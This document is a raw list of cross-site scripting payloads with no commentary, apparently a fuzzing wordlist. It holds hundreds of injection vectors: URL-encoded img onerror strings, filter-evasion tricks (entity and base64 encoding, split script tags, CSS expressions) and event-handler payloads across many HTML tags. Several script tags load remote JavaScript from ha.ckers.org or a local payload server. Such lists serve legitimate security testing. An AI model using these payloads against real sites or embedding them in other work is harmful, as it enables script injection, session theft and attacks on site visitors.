%3Cimg/x10src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg/x10src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg/x10src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg/x13src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg/x13src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg/x13src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg/x32src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg/x32src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg/x32src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20/x34src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x34src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x34src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20/x39src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x39src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x39src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20/x00src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x00src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x00src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x09=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x09=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x09=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x10=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x10=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x10=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x13=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x13=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x13=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x32=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x32=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x32=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x12=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x12=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x12=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x11=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x11=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x11=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x00=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x00=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x00=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src/x47=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src/x47=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src/x47=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x/x09onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x/x09onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x/x09onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x/x10onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x/x10onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x/x10onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x/x11onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x/x11onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x/x11onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x/x12onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x/x12onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x/x12onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x/x13onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x/x13onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x/x13onerror=%22javascript:confirm(1)%22%3E  
%3Cimg[a][b][c]src[d]=x[e]onerror=[f]%22confirm(1)%22%3E  
%22%3E%3Cimg[a][b][c]src[d]=x[e]onerror=[f]%22confirm(1)%22%3E  
'%3E%3Cimg[a][b][c]src[d]=x[e]onerror=[f]%22confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x09%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x09%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x09%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x10%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x10%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x10%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x11%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x11%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x11%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x12%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x12%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x12%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x32%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x32%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x32%22javascript:confirm(1)%22%3E  
%3Cimg%20src=x%20onerror=/x00%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20src=x%20onerror=/x00%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20src=x%20onerror=/x00%22javascript:confirm(1)%22%3E  
%3Ca%20href=java&  
%22%3E%3Ca%20href=java&  
'%3E%3Ca%20href=java&  
%3Cimg%20src=%22x%60%20%60%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Ctitle%20onpropertychange=javascript:confirm(1)%3E%3C/title%3E%3Ctitle%20title=%3E  
%3C!--[if]%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%20--%3E  
%22%3E%3C!--[if]%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%20--%3E  
'%3E%3C!--[if]%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%20--%3E  
%3C!--[if%3Cimg%20src=x%20onerror=javascript:confirm(1)//]%3E%20--%3E  
%22%3E%3C!--[if%3Cimg%20src=x%20onerror=javascript:confirm(1)//]%3E%20--%3E  
'%3E%3C!--[if%3Cimg%20src=x%20onerror=javascript:confirm(1)//]%3E%20--%3E  
%3Cobject%20id=%22x%22%20classid=%22clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598%22%3E%3C/object%3E%20%3Cobject%20classid=%22clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B%22%20onqt_error=%22javascript:confirm(1)%22%20style=%22behavior:url(  
%22%3E%3Cobject%20id=%22x%22%20classid=%22clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598%22%3E%3C/object%3E%20%3Cobject%20classid=%22clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B%22%20onqt_error=%22javascript:confirm(1)%22%20style=%22behavior:url(  
'%3E%3Cobject%20id=%22x%22%20classid=%22clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598%22%3E%3C/object%3E%20%3Cobject%20classid=%22clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B%22%20onqt_error=%22javascript:confirm(1)%22%20style=%22behavior:url(  
%3Ca%20style=%22-o-link:'javascript:javascript:confirm(1)';-o-link-source:current%22%3EX  
%22%3E%3Ca%20style=%22-o-link:'javascript:javascript:confirm(1)';-o-link-source:current%22%3EX  
'%3E%3Ca%20style=%22-o-link:'javascript:javascript:confirm(1)';-o-link-source:current%22%3EX  
%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D]%7Bcolor:red%7D;%3C/style%3E  
%22%3E%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D]%7Bcolor:red%7D;%3C/style%3E  
'%3E%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D]%7Bcolor:red%7D;%3C/style%3E  
%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(javascript:confirm(1))%7d  
%22%3E%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(javascript:confirm(1))%7d  
'%3E%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(javascript:confirm(1))%7d  
%3Cstyle%3E@import%20%22data:,*%7bx:expression(javascript:confirm(1))%7D%22;%3C/style%3E  
%22%3E%3Cstyle%3E@import%20%22data:,*%7bx:expression(javascript:confirm(1))%7D%22;%3C/style%3E  
'%3E%3Cstyle%3E@import%20%22data:,*%7bx:expression(javascript:confirm(1))%7D%22;%3C/style%3E  
%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22javascript:confirm(1);%22%3EX%3C/a%3E%3C/a%3E%3
%22%3E%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22javascript:confirm(1);%22%3EX%3C/a%3E%3C/a%3E%3
'%3E%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22javascript:confirm(1);%22%3EX%3C/a%3E%3C/a%3E%3
%3Cdiv%20style=%22font-family:'foo&  
%22%3E%3Cdiv%20style=%22font-family:'foo&  
'%3E%3Cdiv%20style=%22font-family:'foo&  
%3C//%20style=x:expression/28javascript:confirm(1)/29%3E  
%22%3E%3C//%20style=x:expression/28javascript:confirm(1)/29%3E  
'%3E%3C//%20style=x:expression/28javascript:confirm(1)/29%3E  
%3Cstyle%3E*%7Bx:%EF%BD%85%EF%BD%98%EF%BD%90%EF%BD%92%EF%BD%85%EF%BD%93%EF%BD%93%EF%BD%89%EF%BD%8F%EF%BD%8E(javascript:confirm(1))%7D%3C/style%3E  
%22%3E%3Cstyle%3E*%7Bx:%EF%BD%85%EF%BD%98%EF%BD%90%EF%BD%92%EF%BD%85%EF%BD%93%EF%BD%93%EF%BD%89%EF%BD%8F%EF%BD%8E(javascript:confirm(1))%7D%3C/style%3E  
'%3E%3Cstyle%3E*%7Bx:%EF%BD%85%EF%BD%98%EF%BD%90%EF%BD%92%EF%BD%85%EF%BD%93%EF%BD%93%EF%BD%89%EF%BD%8F%EF%BD%8E(javascript:confirm(1))%7D%3C/style%3E  
//%3Cform/action=javascript&  
/*iframe/src*/%3Ciframe/src=%22%3Ciframe/src=@%22/onload=confirm(1)%20/*iframe/src*/%3E  
//%7C//%20%3Cscript%20//%7C//%20src='http://127.0.0.1:3555/xss_serve_payloads/X.js'%3E%20//%7C//%20%3C/script%20//%7C//  
//%7C//%20%3Cscript%20//%7C//%20src='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp'%3E%20//%7C//%20%3C/script%20//%7C//  
'onmouseover='confirm(1)'a='  
'%20onmouseover=confirm(1)'  
%22%20onmouseover=javascript:confirm(1)%20%22  
/');confirm(1);//  
);confirm(1)//  
');confirm(1)//  
%3Cscript%3Edocument%22%3E svg%22%3E  
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>confirm("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/confirm(a.source)</SCRIPT>
\";confirm('XSS');//
</TITLE><SCRIPT>confirm("XSS");</SCRIPT>
 script confirm( XSS ) /script 
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm('XSS');">
<IFRAME SRC="javascript:confirm('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:confirm('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:confirm('XSS')">
<TABLE><TD BACKGROUND="javascript:confirm('XSS')">
<DIV STYLE="background-image: url(javascript:confirm('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(confirm('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:confirm("XSS")';</STYLE>
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;confirm('XSS');\"&gt;&#93;&#93;&gt;;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT 
%253cscript%253econfirm(1)%253c/script%253e
 ><s %2b cript>confirm(document.cookie)</script>
foo<script>confirm(1)</script>
<scr<script>ipt>confirm(1)</scr</script>ipt>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND= javascript:confirm( XSS ) >
<BODY ONLOAD=confirm( XSS )>
<INPUT TYPE= IMAGE  SRC= javascript:confirm( XSS ); >
<IMG SRC= javascript:confirm( XSS ) 
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:confirm("hellox worldss")
<img src="javascript:confirm('XSS');">
<img src=javascript:confirm(&quot;XSS&quot;)>
<"';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:confirm('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>confirm("XSS");//<</SCRIPT>
<"';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>confirm("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>confirm("XSS");</script>&search=1
0&q=';confirm(String.fromCharCode(88,83,83))//\';confirm%2?8String.fromCharCode(88,83,83))//";confirm(String.fromCharCode?(88,83,83))//\";confirm(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=confirm('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=confirm(XSS)>
<input autofocus>
<form><button formaction="javascript:confirm(XSS)">lol
<!--<img src="--><img src=x onerror=confirm(XSS)//">
<![><img src="]><img src=x onerror=confirm(XSS)//">
<style><img src="</style><img src=x onerror=confirm(XSS)//">
<? foo="><script>confirm(1)</script>">
<! foo="><script>confirm(1)</script>">
<tbody oncut="prompt(1)" contenteditable>test</tbody>
<tbody ondblclick="prompt(1)">test</tbody>
<tbody onfocusout=prompt(1) tabindex=1 id=x></tbody><input autofocus>
<tbody onkeydown="prompt(1)" contenteditable>test</tbody>
<tbody onkeypress="prompt(1)" contenteditable>test</tbody>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="prompt(1)"></tt>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="prompt(1)"></tt>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationend="prompt(1)"></u>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="prompt(1)"></u>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="prompt(1)"></ul>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="prompt(1)"></ul>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationend="prompt(1)"></var>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="prompt(1)"></var>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="prompt(1)"></video>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="prompt(1)"></video>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="prompt(1)"></xmp>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="prompt(1)"></xmp>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="prompt(1)"></xss>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="prompt(1)"></xss>
<sub draggable="true" ondrag="prompt(1)">test</sub>
<sub draggable="true" ondragend="prompt(1)">test</sub>
<sub draggable="true" ondragenter="prompt(1)">test</sub>
<sub draggable="true" ondragleave="prompt(1)">test</sub>
<sub draggable="true" ondragstart="prompt(1)">test</sub>
<sub id=x tabindex=1 onactivate=prompt(1)></sub>
<sub id=x tabindex=1 onbeforeactivate=prompt(1)></sub>
<sub id=x tabindex=1 onbeforedeactivate=prompt(1)></sub><input autofocus>
<sub id=x tabindex=1 ondeactivate=prompt(1)></sub><input id=y autofocus>
<sub id=x tabindex=1 onfocus=prompt(1)></sub>
<sub id=x tabindex=1 onfocusin=prompt(1)></sub>
<sub onbeforecopy="prompt(1)" contenteditable>test</sub>
<sub onbeforecut="prompt(1)" contenteditable>test</sub>
<sub onbeforepaste="prompt(1)" contenteditable>test</sub>
<sub onblur=prompt(1) tabindex=1 id=x></sub><input autofocus>
<sub onclick="prompt(1)">test</sub>
<sub oncontextmenu="prompt(1)">test</sub>
<sub oncopy="prompt(1)" contenteditable>test</sub>
<sub oncut="prompt(1)" contenteditable>test</sub>
<sub ondblclick="prompt(1)">test</sub>
<sub onfocusout=prompt(1) tabindex=1 id=x></sub><input autofocus>
<sub onkeydown="prompt(1)" contenteditable>test</sub>
<sub onkeypress="prompt(1)" contenteditable>test</sub>
<sub onkeyup="prompt(1)" contenteditable>test</sub>
<sub onmousedown="prompt(1)">test</sub>
<sub onmouseenter="prompt(1)">test</sub>
<sub onmouseleave="prompt(1)">test</sub>
<sub onmousemove="prompt(1)">test</sub>
<sub onmouseout="prompt(1)">test</sub>
<sub onmouseover="prompt(1)">test</sub>
<sub onmouseup="prompt(1)">test</sub>
<sub onpaste="prompt(1)" contenteditable>test</sub>
<summary draggable="true" ondrag="prompt(1)">test</summary>
<summary draggable="true" ondragend="prompt(1)">test</summary>
<summary draggable="true" ondragenter="prompt(1)">test</summary>
<summary draggable="true" ondragleave="prompt(1)">test</summary>
<summary draggable="true" ondragstart="prompt(1)">test</summary>
<samp onmouseleave="prompt(1)">test</samp>
<samp onmousemove="prompt(1)">test</samp>
<samp onmouseout="prompt(1)">test</samp>
<samp onmouseover="prompt(1)">test</samp>
<samp onmouseup="prompt(1)">test</samp>
<samp onpaste="prompt(1)" contenteditable>test</samp>
<script draggable="true" ondrag="prompt(1)">test</script>
<script draggable="true" ondragend="prompt(1)">test</script>
<script draggable="true" ondragenter="prompt(1)">test</script>
<script draggable="true" ondragleave="prompt(1)">test</script>
<script draggable="true" ondragstart="prompt(1)">test</script>
<script id=x tabindex=1 onactivate=prompt(1)></script>
<script id=x tabindex=1 onbeforeactivate=prompt(1)></script>
<script id=x tabindex=1 onbeforedeactivate=prompt(1)></script><input autofocus>
<script id=x tabindex=1 ondeactivate=prompt(1)></script><input id=y autofocus>
<script id=x tabindex=1 onfocus=prompt(1)></script>
<script id=x tabindex=1 onfocusin=prompt(1)></script>
<script onbeforecopy="prompt(1)" contenteditable>test</script>
<script onbeforecut="prompt(1)" contenteditable>test</script>
<script onbeforepaste="prompt(1)" contenteditable>test</script>
<script onblur=prompt(1) tabindex=1 id=x></script><input autofocus>
main id=x tabindex=1 ondeactivate=prompt(1)></main><input id=y autofocus>
<main id=x tabindex=1 onfocus=prompt(1)></main>
<main id=x tabindex=1 onfocusin=prompt(1)></main>
<main onbeforecopy="prompt(1)" contenteditable>test</main>
<main onbeforecut="prompt(1)" contenteditable>test</main>
<main onbeforepaste="prompt(1)" contenteditable>test</main>
<main onblur=prompt(1) tabindex=1 id=x></main><input autofocus>
<main onclick="prompt(1)">test</main>
<main oncontextmenu="prompt(1)">test</main>
<main oncopy="prompt(1)" contenteditable>test</main>
<main oncut="prompt(1)" contenteditable>test</main>
<main ondblclick="prompt(1)">test</main>
<main onfocusout=prompt(1) tabindex=1 id=x></main><input autofocus>
<main onkeydown="prompt(1)" contenteditable>test</main>
<main onkeypress="prompt(1)" contenteditable>test</main>
<main onkeyup="prompt(1)" contenteditable>test</main>
<main onmousedown="prompt(1)">test</main>
<main onmouseenter="prompt(1)">test</main>
<main onmouseleave="prompt(1)">test</main>
<main onmousemove="prompt(1)">test</main>
<main onmouseout="prompt(1)">test</main>
<main onmouseover="prompt(1)">test</main>
<main onmouseup="prompt(1)">test</main>
<main onpaste="prompt(1)" contenteditable>test</main>
<map draggable="true" ondrag="prompt(1)">test</map>
<map draggable="true" ondragend="prompt(1)">test</map>
<map draggable="true" ondragenter="prompt(1)">test</map>
<map draggable="true" ondragleave="prompt(1)">test</map>
<map draggable="true" ondragstart="prompt(1)">test</map>
<map id=x tabindex=1 onactivate=prompt(1)></map>
<map id=x tabindex=1 onbeforeactivate=prompt(1)></map>
<map id=x tabindex=1 onbeforedeactivate=prompt(1)></map><input autofocus>
<map id=x tabindex=1 ondeactivate=prompt(1)></map><input id=y autofocus>
<map id=x tabindex=1 onfocus=prompt(1)></map>
<map id=x tabindex=1 onfocusin=prompt(1)></map>
<map onbeforecopy="prompt(1)" contenteditable>test</map>
<map onbeforecut="prompt(1)" contenteditable>test</map>
<map onbeforepaste="prompt(1)" contenteditable>test</map>
<map onblur=prompt(1) tabindex=1 id=x></map><input autofocus>
<map onclick="prompt(1)">test</map>
<map oncontextmenu="prompt(1)">test</map>
<map oncopy="prompt(1)" contenteditable>test</map>
<map oncut="prompt(1)" contenteditable>test</map>
<map ondblclick="prompt(1)">test</map>
<map onfocusout=prompt(1) tabindex=1 id=x></map><input autofocus>
<map onkeydown="prompt(1)" contenteditable>test</map>
<map onkeypress="prompt(1)" contenteditable>test</map>
<map onkeyup="prompt(1)" contenteditable>test</map>
<map onmousedown="prompt(1)">test</map>
<map onmouseenter="prompt(1)">test</map>
<map onmouseleave="prompt(1)">test</map>
<map onmousemove="prompt(1)">test</map>
<map onmouseout="prompt(1)">test</map>
<map onmouseover="prompt(1)">test</map>
<map onmouseup="prompt(1)">test</map>
<map onpaste="prompt(1)" contenteditable>test</map>
<mark draggable="true" ondrag="prompt(1)">test</mark>
<mark draggable="true" ondragend="prompt(1)">test</mark>
<mark draggable="true" ondragenter="prompt(1)">test</mark>
<mark draggable="true" ondragleave="prompt(1)">test</mark>
<mark draggable="true" ondragstart="prompt(1)">test</mark>
<mark id=x tabindex=1 onactivate=prompt(1)></mark>
<mark id=x tabindex=1 onbeforeactivate=prompt(1)></mark>
<mark id=x tabindex=1 onbeforedeactivate=prompt(1)></mark><input autofocus>
<mark id=x tabindex=1 ondeactivate=prompt(1)></mark><input id=y autofocus>
<mark id=x tabindex=1 onfocus=prompt(1)></mark>
<mark id=x tabindex=1 onfocusin=prompt(1)></mark>
<mark onbeforecopy="prompt(1)" contenteditable>test</mark>
<mark onbeforecut="prompt(1)" contenteditable>test</mark>
<mark onbeforepaste="prompt(1)" contenteditable>test</mark>
<mark onblur=prompt(1) tabindex=1 id=x></mark><input autofocus>
<mark onclick="prompt(1)">test</mark>
<mark oncontextmenu="prompt(1)">test</mark>
<mark oncopy="prompt(1)" contenteditable>test</mark>
<mark oncut="prompt(1)" contenteditable>test</mark>
<mark ondblclick="prompt(1)">test</mark>
<mark onfocusout=prompt(1) tabindex=1 id=x></mark><input autofocus>
<mark onkeydown="prompt(1)" contenteditable>test</mark>
<mark onkeypress="prompt(1)" contenteditable>test</mark>
<mark onkeyup="prompt(1)" contenteditable>test</mark>
<mark onmousedown="prompt(1)">test</mark>
<mark onmouseenter="prompt(1)">test</mark>
<mark onmouseleave="prompt(1)">test</mark>
<mark onmousemove="prompt(1)">test</mark>
<mark onmouseout="prompt(1)">test</mark>
<mark onmouseover="prompt(1)">test</mark>
<mark onmouseup="prompt(1)">test</mark>
<mark onpaste="prompt(1)" contenteditable>test</mark>
<marquee draggable="true" ondrag="prompt(1)">test</marquee>
<marquee draggable="true" ondragend="prompt(1)">test</marquee>
<marquee draggable="true" ondragenter="prompt(1)">test</marquee>
<marquee draggable="true" ondragleave="prompt(1)">test</marquee>
<marquee draggable="true" ondragstart="prompt(1)">test</marquee>
<marquee id=x tabindex=1 onactivate=prompt(1)></marquee>
<marquee id=x tabindex=1 onbeforeactivate=prompt(1)></marquee>
<marquee id=x tabindex=1 onbeforedeactivate=prompt(1)></marquee><input autofocus>
<marquee id=x tabindex=1 ondeactivate=prompt(1)></marquee><input id=y autofocus>
<marquee id=x tabindex=1 onfocus=prompt(1)></marquee>
<marquee id=x tabindex=1 onfocusin=prompt(1)></marquee>
<marquee onbeforecopy="prompt(1)" contenteditable>test</marquee>
<marquee onbeforecut="prompt(1)" contenteditable>test</marquee>
<marquee onbeforepaste="prompt(1)" contenteditable>test</marquee>
<marquee onblur=prompt(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onclick="prompt(1)">test</marquee>
<marquee oncontextmenu="prompt(1)">test</marquee>
<marquee oncopy="prompt(1)" contenteditable>test</marquee>
<marquee oncut="prompt(1)" contenteditable>test</marquee>
<marquee ondblclick="prompt(1)">test</marquee>
<marquee onfocusout=prompt(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onkeydown="prompt(1)" contenteditable>test</marquee>
<marquee onkeypress="prompt(1)" contenteditable>test</marquee>
<marquee onkeyup="prompt(1)" contenteditable>test</marquee>
<marquee onmousedown="prompt(1)">test</marquee>
<marquee onmouseenter="prompt(1)">test</marquee>
<marquee onmouseleave="prompt(1)">test</marquee>
<marquee onmousemove="prompt(1)">test</marquee>
<marquee onmouseout="prompt(1)">test</marquee>
<marquee onmouseover="prompt(1)">test</marquee>
<marquee onmouseup="prompt(1)">test</marquee>
<marquee onpaste="prompt(1)" contenteditable>test</marquee>
<marquee onstart=prompt(1)>XSS</marquee>
<marquee width=1 loop=1 onbounce=prompt(1)>XSS</marquee>
